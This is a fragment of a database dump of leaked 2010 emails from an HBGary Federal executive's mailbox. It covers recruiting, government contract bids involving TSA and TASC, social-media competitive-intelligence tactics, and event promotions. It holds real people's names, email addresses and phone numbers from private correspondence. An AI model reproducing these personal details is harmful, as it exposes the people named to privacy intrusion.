9:16:01 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Hello!\r\nHi AaronThanks for getting back to me. I have been working on malware analysts, and other network security clients recently. My fee is 20%. No fee is due until a candidate reports for work. Guarantee is 90 days pro-rated. Happy to provide references from other network security cyber clients. \r\nCheck out my website you\'ll see the req I\'m currently working on that is right up your alley!!My best,Ed~~~~~~~~~~~~~~~~~Ed WallachPresident &amp; CEO Ed Wallach Search Group301-365-3291 office\r\n301-613-0629 cellwww.wallachsearch.comed@wallachsearch.comPlease consider the environment before printing this email. \r\nOn Aug 10, 2010, at 9:05 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Thanks Ed.\r\nHow does that work? &nbsp;I am actually in some need for cleared malware analysts, reverse engineers in the virginia and maryland areas.Aaron\r\n\r\n',1710,'aaron_hbgary_com/1710.html'),(10080,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007849.M973484P14101Q4935.eml','\"Ted Vera\" <ted@hbgary.com>','Re: One thing we want to capture','yeah I actually used that 2x today to associate someone to the existing TSA contract.\r\n\r\nOn Aug 10, 2010, at 10:07 PM, Ted Vera wrote:\r\n\r\n> That\'s a good tactic\r\n> \r\n> \r\n> \r\n> On Aug 10, 2010, at 6:41 PM, Aaron Barr  wrote:\r\n> \r\n>> for social media competitive intelligence use.\r\n>> \r\n>> You can look at recommendations to see linkages between companies that you might not know are working together.\r\n>> \r\n>> if employee X from company Y leaves a recommendation for employee Z from company A saying something about their skillz OTJ, etc.\r\n>> \r\n>> Aaron\r\n>> \r\n\r\n',9134,'aaron_hbgary_com/9134.html'),(10081,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007850.M182688P14101Q4936.eml','\"Ted Vera\" <ted@hbgary.com>','Re: One thing we want to capture','man I am ok with the vision and the technical solution but I hate all the performance metric stuff.\r\n\r\n\r\nOn Aug 10, 2010, at 10:07 PM, Ted Vera wrote:\r\n\r\n> That\'s a good tactic\r\n> \r\n> \r\n> \r\n> On Aug 10, 2010, at 6:41 PM, Aaron Barr  wrote:\r\n> \r\n>> for social media competitive intelligence use.\r\n>> \r\n>> You can look at recommendations to see linkages between companies that you might not know are working together.\r\n>> \r\n>> if employee X from company Y leaves a recommendation for employee Z from company A saying something about their skillz OTJ, etc.\r\n>> \r\n>> Aaron\r\n>> \r\n\r\n',16662,'aaron_hbgary_com/16662.html'),(10082,'2010-08-11','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297007850.M405230P14101Q4937.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: Blog post','Yeah seen it.  Not accurate\r\n\r\nSent fromen I my iPhone\r\n\r\nOn Aug 10, 2010, at 18:40, Ted Vera  wrote:\r\n\r\n> Have you seen this blog post? Worth commenting?\r\n>\r\n> http://cci.cocolog-nifty.com/blog/2010/02/hbgary-responde.html\r\n>\r\n> \"HBGary Responder cannot detect hidden/dead processes!\r\n> Unfortunately, HBGary Responder cannot extract hidden processes by\r\n> rootkits or already-terminated processes.  I tested 2 experiments.\"...\r\n>\r\n> -- \r\n> Ted\r\n',3246,'aaron_hbgary_com/3246.html'),(10083,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007850.M610044P14101Q4938.eml','\"Ted Vera\" <ted@hbgary.com>','HBGaryfederal website','Once we have some data populated and the training material on the website and training linked, let me know and I will start advertising over the social media interwebs.\r\n\r\nAaron\r\n\r\n',164,'aaron_hbgary_com/164.html'),(10084,'2010-08-11','arc@westfields.net','/aaron@hbgary.com/new/1297007850.M843967P14101Q4939.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Tuesday, 08/10/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNGA-ESMARTS (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',1241,'aaron_hbgary_com/1241.html'),(10085,'2010-08-11','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297007851.M86121P14101Q4940.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: COIN','\r\n\r\n\r\n\r\n\r\nRE: COIN\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nMonday is bad but rest of the week is open.&nbsp; What can you support?\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Tue 8/10/2010 4:03 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: COIN\r\n\r\nWrong message.&nbsp; You have to get out of the ctc mindset.&nbsp; This organization\r\nthinks that mindset is outdated.&nbsp; Maybe next week we should get together for\r\na final brainstorm, check to see if we have everything lined up for rfp.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 10, 2010, at 3:44 PM, &quot;Clair, Chris (TASC)&quot; &lt;\r\nCHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\nSee what you think.\r\n\r\nChris\r\n\r\n_____________________________________________\r\n*****From:* Clair, Chris (TASC)\r\n*****Sent:* Thursday, July 29, 2010 3:49 PM\r\n*****To:* Garcia, Kathy (TASC); Brunst Jr, Gerald R (TASC)\r\n*****Subject:* COIN\r\n\r\nKathy and Jerry,\r\n\r\nCan we name COIN Saif (http://en.wikipedia.org/wiki/Saif)?&nbsp; Saif is the\r\nsword an Arab executioner uses when they decapitate criminals.&nbsp; I can think\r\nof a few cool brands for this.&nbsp; Attached is a pic.\r\n\r\nSaif is also a huge Bollywood star.&nbsp; Go figure. Let me know what you think.\r\n\r\n&lt;&lt;saif.jpg&gt;&gt;\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n*******__________________________________________________*\r\n&nbsp; [image: Picture (Device Independent Bitmap)]******* |Chris Clair**********\r\n****** |* Program Manager*************** |********* 703.449.3964\r\n\r\n&nbsp;&lt;saif.jpg&gt;\r\n\r\n\r\n\r\n\r\n\r\n',4928,'aaron_hbgary_com/4928.html'),(10086,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007852.M289099P14101Q4941.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','Email From SketchPad','Ok real rough but probably a slide like this with ticks on the bottom\r\nthat describe the implementation of certain technology/capabilities?\r\n',14243,'aaron_hbgary_com/14243.html'),(10087,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007852.M632955P14101Q4942.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: COIN','How about tuesday?AaronSent from my iPadOn Aug 11, 2010, at 8:10 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nMonday is bad but rest of the week is open.  What can you support?\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Tue 8/10/2010 4:03 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: COIN\r\n\r\nWrong message.  You have to get out of the ctc mindset.  This organization\r\nthinks that mindset is outdated.  Maybe next week we should get together for\r\na final brainstorm, check to see if we have everything lined up for rfp.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 10, 2010, at 3:44 PM, &quot;Clair, Chris (TASC)&quot; &lt;\r\nCHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\nSee what you think.\r\n\r\nChris\r\n\r\n_____________________________________________\r\n*****From:* Clair, Chris (TASC)\r\n*****Sent:* Thursday, July 29, 2010 3:49 PM\r\n*****To:* Garcia, Kathy (TASC); Brunst Jr, Gerald R (TASC)\r\n*****Subject:* COIN\r\n\r\nKathy and Jerry,\r\n\r\nCan we name COIN Saif (http://en.wikipedia.org/wiki/Saif)?  Saif is the\r\nsword an Arab executioner uses when they decapitate criminals.  I can think\r\nof a few cool brands for this.  Attached is a pic.\r\n\r\nSaif is also a huge Bollywood star.  Go figure. Let me know what you think.\r\n\r\n&lt;&lt;saif.jpg&gt;&gt;\r\n\r\nThanks,\r\n      Chris\r\n*******__________________________________________________*\r\n  [image: Picture (Device Independent Bitmap)]******* |Chris Clair**********\r\n****** |* Program Manager*************** |********* 703.449.3964\r\n\r\n &lt;saif.jpg&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1613,'aaron_hbgary_com/1613.html'),(10088,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007853.M67254P14101Q4943.eml','\"Ted Vera\" <ted@hbgary.com>','TSA Needs for 2010','DIGITAL FORENSICS:\r\n150 Cases for FY10: 50% of those 2+ weeks effort each.\r\nExpanded support in Program Analysis and E-Discovery.  Support to CI. Training Development.  Will develop a malware reverse engineering capability.  Will develop a malware sandbox network.  Develop advanced processes and procedures to proactively detect intrusions and compromises.\r\n\r\nCOMPUTER NETWORK DEFENSE:\r\nFY10 addition of remote systems to TSA SOC Monitoring.  Begin security monitoring of the non-OIT managed IT systems and integrate them with the IAD IR procedures.  Develop a cyber intelligence capability.\r\n\r\n',13634,'aaron_hbgary_com/13634.html'),(10089,'2010-08-11','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007861.M606828P14101Q4944.eml','\"Aaron Barr\" <aaron@hbgary.com>','The graphic','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nThis is very good, and Ken likes it.&nbsp; Just use this one.&nbsp; We\r\ncan have Graphics update it with any changes you want.&nbsp; So writing the 2 pages\r\nbased on this breadth I think is reasonable?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n \r\n\r\n \r\n\r\n \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4147,'aaron_hbgary_com/4147.html'),(10090,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007862.M320348P14101Q4945.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: The graphic','Yes. &nbsp;As long as TASC allows us to use it to illustrate our overall process and capabilities we can use this, add some better discription and describe the processes.AaronOn Aug 11, 2010, at 9:52 AM, John Fanguy wrote:Aaron-&nbsp;This is very good, and Ken likes it.&nbsp; Just use this one.&nbsp; We can have Graphics update it with any changes you want.&nbsp; So writing the 2 pages based on this breadth I think is reasonable?&nbsp;&nbsp;&nbsp;&lt;image002.png&gt;&nbsp;&nbsp;&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;',2075,'aaron_hbgary_com/2075.html'),(10091,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007862.M546135P14101Q4946.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: The graphic','So we would need access to the raw graphic for the changes or recreate it from scratch.AaronOn Aug 11, 2010, at 9:52 AM, John Fanguy wrote:Aaron-&nbsp;This is very good, and Ken likes it.&nbsp; Just use this one.&nbsp; We can have Graphics update it with any changes you want.&nbsp; So writing the 2 pages based on this breadth I think is reasonable?&nbsp;&nbsp;&nbsp;&lt;image002.png&gt;&nbsp;&nbsp;&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;',736,'aaron_hbgary_com/736.html'),(10092,'2010-08-11','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007863.M207542P14101Q4947.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: The graphic','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOne way or the other we will.&nbsp; Probably jus recreate.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 11, 2010 10:08 AM\r\nTo: John Fanguy\r\nSubject: Re: The graphic\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSo we would need access to the raw graphic for the changes\r\nor recreate it from scratch.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 11, 2010, at 9:52 AM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis\r\nis very good, and Ken likes it.&nbsp; Just use this one.&nbsp; We can have\r\nGraphics update it with any changes you want.&nbsp; So writing the 2 pages\r\nbased on this breadth I think is reasonable?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;image002.png&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800&nbsp;main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13102,'aaron_hbgary_com/13102.html'),(10093,'2010-08-11','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297007863.M426495P14101Q4948.eml','aaron@hbgary.com','Five Ways to Get Involved in AFCEA’s Golf Tournament','\r\n\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n  \r\n  \r\n    &nbsp;\r\n\r\n		\r\n  &nbsp;\r\n   \r\n  \r\n\r\n  \r\n    AFCEA International Golf Tournament \r\n            &quot;Swinging for Scholarships&quot;\r\n      Friday, September 17, 2010\r\n      8:00 a.m. Shotgun Start\r\n      Westfields Golf Club, Clifton, VA\r\n       www.afcea.org/events/golf  \r\n      The AFCEA International Golf Tournament (formerly known as the AFCEA Diversity Golf&nbsp;Tournament) will be supporting the AFCEA Education Scholarships for Teaching Science, Technology, Engineering and Mathematics (STEM). This Program offers scholarships of $5,000 to students actively pursuing an undergraduate or graduate education degree for the purpose of teaching STEM subjects at a U.S. middle or secondary school.&nbsp; At least 35 scholarships will be awarded annually. \r\nHere\'s how you can get involved! \r\n\r\n  Play Golf! This Tournament is for all golfers &ndash; beginners or advanced! Registration fees include green fees, range balls, carts, continental breakfast, munchies and refreshments on the course, lunch and awards.&nbsp; \r\n    \r\n  \r\n  Become a sponsor! There are many corporate sponsorship opportunities available: tournament sponsor, hole sponsorships, special contests, food and beverage sponsorships, tournament giveaways, etc.&nbsp; To receive a complete list of the Sponsorship Program, email Maureen Cirrito (mcirrito@afcea.org).&nbsp; The Program offers a great opportunity for enhanced corporate visibility and recognition.&nbsp;&nbsp; \r\n    \r\n  \r\n  Be a donor! Individual scholarship donations are welcome - Silver Donations ($25), Gold Donations ($50) and Platinum Donations ($250) are tax-deductible and 100% of the donation goes to the STEM Education Scholarships. To make a donation please contact Maureen Cirrito (mcirrito@afcea.org).&nbsp; \r\n    \r\n  \r\n   Bid in the Silent Auction! Items include autographed sports memorabilia, restaurant gift certificates, and more. \r\n    \r\n  \r\n  Contribute items to the Silent Auction! All items welcome; donors recognized on golf tournament and AFCEA STEM Education Scholarship promotions. \r\n\r\n\r\n\r\nDon\'t miss this great day of networking and fun! Secure your spot in the AFCEA International &ldquo;Swinging for Scholarships&rdquo; Golf Tournament &ndash; sign up TODAY!&nbsp; If you have any questions or need additional information, please contact:\r\n      \r\n      \r\n  \r\nMaureen Cirrito\r\n  Manager, Plans and Patrons\r\n  AFCEA International\r\n  703/631-6174\r\n  mcirrito@afcea.org\r\n  	\r\n	  \r\n	\r\n	  \r\n	\r\n      \r\n  \r\n      \r\n      \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\n\">http://www.afcea.org\r\n\r\n    \r\n  \r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10254,'aaron_hbgary_com/10254.html'),(10094,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007863.M727327P14101Q4949.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: The graphic','If possible, and if Ken likes the idea, you can take the same pretty graphic style and turn my crayola triangle sketch into something more attractive.On Aug 11, 2010, at 9:52 AM, John Fanguy wrote:Aaron-&nbsp;This is very good, and Ken likes it.&nbsp; Just use this one.&nbsp; We can have Graphics update it with any changes you want.&nbsp; So writing the 2 pages based on this breadth I think is reasonable?&nbsp;&nbsp;&nbsp;&lt;image002.png&gt;&nbsp;&nbsp;&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;',11916,'aaron_hbgary_com/11916.html'),(10095,'2010-08-11','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007865.M647337P14101Q4950.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Dawn Aaron\" <daaron@digitalmanagement.com>','TSA-ITSSS-People/Technology graphic','Dawn-\r\n\r\nCan you create something pretty from this for by end of today?\r\n\r\nThank you!!!\r\n\r\n-John\r\n\r\nVP\r\nDigital Management, Inc.\r\n301-346-6749 cell\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 11, 2010 8:14 AM\r\nTo: John Fanguy; William Luti\r\nSubject: Email From SketchPad\r\n\r\nOk real rough but probably a slide like this with ticks on the bottom that describe the implementation of certain technology/capabilities?\r\n',107,'aaron_hbgary_com/107.html'),(10096,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007865.M841170P14101Q4951.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: TSA-ITSSS-People/Technology graphic','There is a challenge.  I will have something slightly better in PPT form shortly that has a little more data. :)\r\n\r\nAaron\r\n\r\nOn Aug 11, 2010, at 10:56 AM, John Fanguy wrote:\r\n\r\n> Dawn-\r\n> \r\n> Can you create something pretty from this for by end of today?\r\n> \r\n> Thank you!!!\r\n> \r\n> -John\r\n> \r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 11, 2010 8:14 AM\r\n> To: John Fanguy; William Luti\r\n> Subject: Email From SketchPad\r\n> \r\n> Ok real rough but probably a slide like this with ticks on the bottom that describe the implementation of certain technology/capabilities?\r\n> \r\n\r\n',13727,'aaron_hbgary_com/13727.html'),(10097,'2010-08-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007866.M322747P14101Q4953.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,','Fwd: Availability for scheduling meeting with TSA','fyi  next week Doug maughan is available Monday only and then he will be at GFIRST.  See below.\r\n---------- Forwarded message ----------From: Berndt, Luke &lt;Luke.Berndt@dhs.gov&gt;Date: Wed, Aug 11, 2010 at 8:12 AM\r\nSubject: RE: Availability for scheduling meeting with TSATo: Maria Lucas &lt;maria@hbgary.com&gt;Cc: &quot;Beauchamp, Dale&quot; &lt;Dale.Beauchamp@dhs.gov&gt;\r\n\r\n\r\n\r\nGood morning,\r\nI just checked with Doug. He is available on the 16th next week and will be in the office til about 1pm. He will be out on travel the rest of the week at the DREN conference and GFirst, not sure if either of you will be attending those.\r\n\r\n \r\nDoug is will be around the Aug 23-25, if that lines up better.\r\n \r\n-          Luke\r\n\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, August 11, 2010 9:18 